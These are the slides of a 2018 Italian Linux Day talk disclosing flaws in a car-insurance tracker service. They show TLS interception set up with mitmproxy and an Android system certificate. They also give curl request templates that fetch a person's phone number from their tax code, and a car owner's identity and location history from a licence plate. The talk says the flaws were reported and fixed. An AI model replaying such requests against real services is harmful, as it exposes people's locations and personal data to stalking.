CarOps: fidarsi è bene, non fidarsi è meglio!

di Andrea Scarpino


Linux Day 2018 Bari - 27/10/2018

La “scatola nera”

  • Posizione auto tramite GPS/AGPS
  • Velocità auto
  • Rilevazione sinistri
  • Chiamata automatica dell'assistenza
  • Sconto RC auto
  • Obbligatoria dal 31 Marzo 2018 (decisione nº 585/2014/UE)

Le “App”

Applicazioni per smartphone o portali Web in grado di:

  • visualizzare la posizione dell'auto in tempo reale
  • statistiche sui chilometri percorsi
  • cronologia degli spostamenti

Google Play Services? No, grazie.

F-Droid

F-Droid - https://f-droid.org

Play Store alternativo con applicazioni FLOSS

Sniffing delle chiamate

mitmproxy - https://mitmproxy.org/

$ mitmproxy

Server proxy in ascolto su 8080

Workaround per HTTPS su Android >= 7.x ¹

$ openssl x509 -noout -subject_hash_old -in ~/.mitmproxy/mitmproxy-ca-cert.pem
c8750f0d
$ adb root
$ adb shell mount -o remount,rw /system
$ adb push ~/.mitmproxy/mitmproxy-ca-cert.pem /etc/security/cacerts/c8750f0d.0
$ adb shell chmod 644 /etc/security/cacerts/c8750f0d.0
$ adb shell mount -o remount,ro /system
$ adb unroot

¹ https://android-developers.googleblog.com/2016/07/changes-to-trusted-certificate.html

Android: autenticazione

Input:

curl -X POST \
-d 'BLUCS§<taxpayers_code>§-1' \
http://<domain>/BICServices/BICService.svc/\
restpostcheckpicf<company>

Risposta:

2§<international_calling_code>§<cell_phone_number>§-1

Codice fiscale inesistente:

-1§<international_calling_code>§§-100%

Android: autenticazione (cont.)

Input:

curl -X POST \
-d 'BLUCS§<taxpayers_code>§<device_imei>§<android_id>\
§<device_brand>-<device_model>_unknown-<api_platform>\
-<os_version>-<device_code>§<cell_phone_number>§2\
§<password>§§-1' \
http://<domain>/BICServices/BICService.svc/\
restpostsmartphoneactivation<company>

Risposta:

0§<some_code>§<my_full_name>

Android: geolocalizzazione

Input:

curl -X POST \
-d 'ASS_NEW§<car_license>§2§-1' \
http://<domain>/BICServices/BICService.svc/\
restpostlastnpositions<company>

Risposta:

0§20§<another_code>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude\
>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY\
HH:mm:SS#<latitude>#<longitude>#0#1#1#1-[…]

Targa inesistente:

-2§TARGA NON ASSOCIATA%

Client Web: statistiche

Client Web: statistiche (cont.)

Client Web: statistiche (cont.)

Client Web: statistiche (cont.)

curl http://<domain>/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?\
RUOLO=CL&ID=<another_code>&TARGA=<car_license>\
&CONTRATTO=<foo>&VOUCHER=<bar>
curl http://<domain>/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?\
RUOLO=CL&ID=<another_code>&TARGA=<car_license>
dati nell'iframe:
http://<domain>/<company>/(S(<uuid>))/NewRicerca.aspx

ASP.NET Cookieless

curl http://<domain>/<company>/NewRemoteAuthentication.aspx?\
RUOLO=CL&ID=<another_code>&TARGA=<car_license>

Ricapitolando

  • Dal codice fiscale si ottiene un numero di telefono
  • Dalla targa si ottengono:
    • Intestatario
    • Modello dell'auto
    • Posizione attuale
    • Cronologia di tutte le posizioni
    • Statistiche sui viaggi (quantità, orari chilometri percorsi…)

Vulnerabilità segnalate al CERT Nazionale e risolte in 45 giorni

Andrea Scarpino

Software Developer involved in FLOSS

https://andreascarpino.it

me@andreascarpino.it | git{hub,lab}.com/ilpianista

https://andreascarpino.it/posts/how-my-car-insurance-exposed-my-position.html